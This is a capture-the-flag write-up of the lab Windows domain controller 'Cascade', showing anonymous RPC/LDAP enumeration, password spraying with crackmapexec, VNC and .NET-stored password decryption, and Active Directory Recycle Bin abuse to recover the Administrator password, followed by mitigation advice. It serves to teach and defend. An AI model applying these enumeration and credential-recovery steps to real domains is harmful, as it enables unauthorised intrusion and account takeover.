~ / writeups / cascade

Cascade

Medium Windows AD box — recover creds from LDAP, decrypt a VNC password, reverse a .NET auditor, then abuse the AD Recycle Bin to restore the Administrator password.

Synopsis

Cascade is a medium Windows Domain Controller that’s all about enumeration and credential recovery. An LDAP attribute leaks a password for r.thompson; an SMB share holds a TightVNC registry backup whose encrypted password decrypts to s.smith. A .NET auditing tool on another share is reverse-engineered to recover the ArkSvc password — an account in the AD Recycle Bin group, which lets us restore a deleted TempAdmin object and read the Administrator password from its legacy attribute.

  • Domain: cascade.local · Host: CASC-DC1 · IP: 10.10.10.182

Recon

nmap -sC -sV -sT -Pn 10.10.10.182 -oA nmap-scan
53/tcp    open  domain        Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap          AD LDAP (Domain: cascade.local)
445/tcp   open  microsoft-ds
3268/tcp  open  ldap          Global Catalog
Service Info: Host: CASC-DC1; OS: Windows Server 2008 R2

Enumeration — RPC & LDAP

Null RPC lists the domain users:

rpcclient -U "" -N 10.10.10.182 -c enumdomusers
# arksvc, s.smith, r.thompson, util, j.wakefield, ... , BackupSvc, i.croft

A full anonymous LDAP dump reveals a non-default attribute — cascadeLegacyPwd — on r.thompson, holding a base64 password:

clk0bjVldmE=  ->  base64 -d  ->  rY4n5eva

Spraying that password confirms it belongs to r.thompson:

crackmapexec smb 10.10.10.182 -u users.txt -p 'rY4n5eva'
# [+] cascade.local\r.thompson:rY4n5eva

SMB — the Data share

WinRM isn’t allowed for r.thompson, so enumerate shares with SMB. The Data share is readable:

smbmap -H 10.10.10.182 -u r.thompson -p 'rY4n5eva'
# Data   READ ONLY

Under Data\IT there are meeting notes hinting at a temporary admin account:

-- We will be using a temporary account (TempAdmin) to perform all tasks
   related to the network migration ... password is the same as the normal
   admin account password.

The same share also contains a TightVNC registry export with an encrypted password. Decrypt it:

./vncpasswd.py -d -H 6bcf2a4b6e5aca0f
# Decrypted Bin Pass = 'sT333ve2'

Foothold — s.smith

The VNC password is reused for s.smith:

crackmapexec smb 10.10.10.182 -u s.smith -p 'sT333ve2'   # [+] valid
evil-winrm -i 10.10.10.182 -u s.smith -p 'sT333ve2'
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
d5801****************************      # redacted

s.smith is a member of the Audit Share and IT groups:

Local Group Memberships   *Audit Share   *IT   *Remote Management Use

Audit share → reversing CascAudit.exe

The Audit$ share holds a .NET auditing tool and its SQLite database:

smbclient //10.10.10.182/Audit$ -U s.smith
# CascAudit.exe, CascCrypto.dll, DB\Audit.db, RunAudit.bat
sqlite3 Audit.db 'select * from Ldap;'
# 1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

CascAudit.exe is a .NET binary — open it in dnSpy to recover the encryption details used on that stored password:

Decompiling CascAudit.exe in dnSpy

aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");

Decrypting the stored value with that key/IV yields the ArkSvc password:

ArkSvc password decrypted

ArkSvc : w3lc0meFr31nd

Domain compromise — AD Recycle Bin

ArkSvc belongs to the AD Recycle Bin group, so it can read deleted AD objects — including the old TempAdmin account, whose cascadeLegacyPwd still holds a password:

evil-winrm -i 10.10.10.182 -u ArkSvc -p 'w3lc0meFr31nd'

Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Property *
# cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
# baCT3r1aN00dles

Per the meeting notes, TempAdmin shared the Administrator password — so it logs in as Administrator:

evil-winrm -i 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
3ce26****************************      # redacted

Takeaways & mitigation

  • Legacy password attributes: never store passwords in custom AD attributes like cascadeLegacyPwd — they’re readable to authenticated users.
  • Anonymous LDAP/RPC: disable null binds and anonymous enumeration on the DC.
  • Reversible/stored secrets: don’t ship encryption keys inside binaries, and don’t reuse VNC/service passwords for domain accounts.
  • AD Recycle Bin: deleted objects retain sensitive attributes — restrict the group and purge secrets before deletion.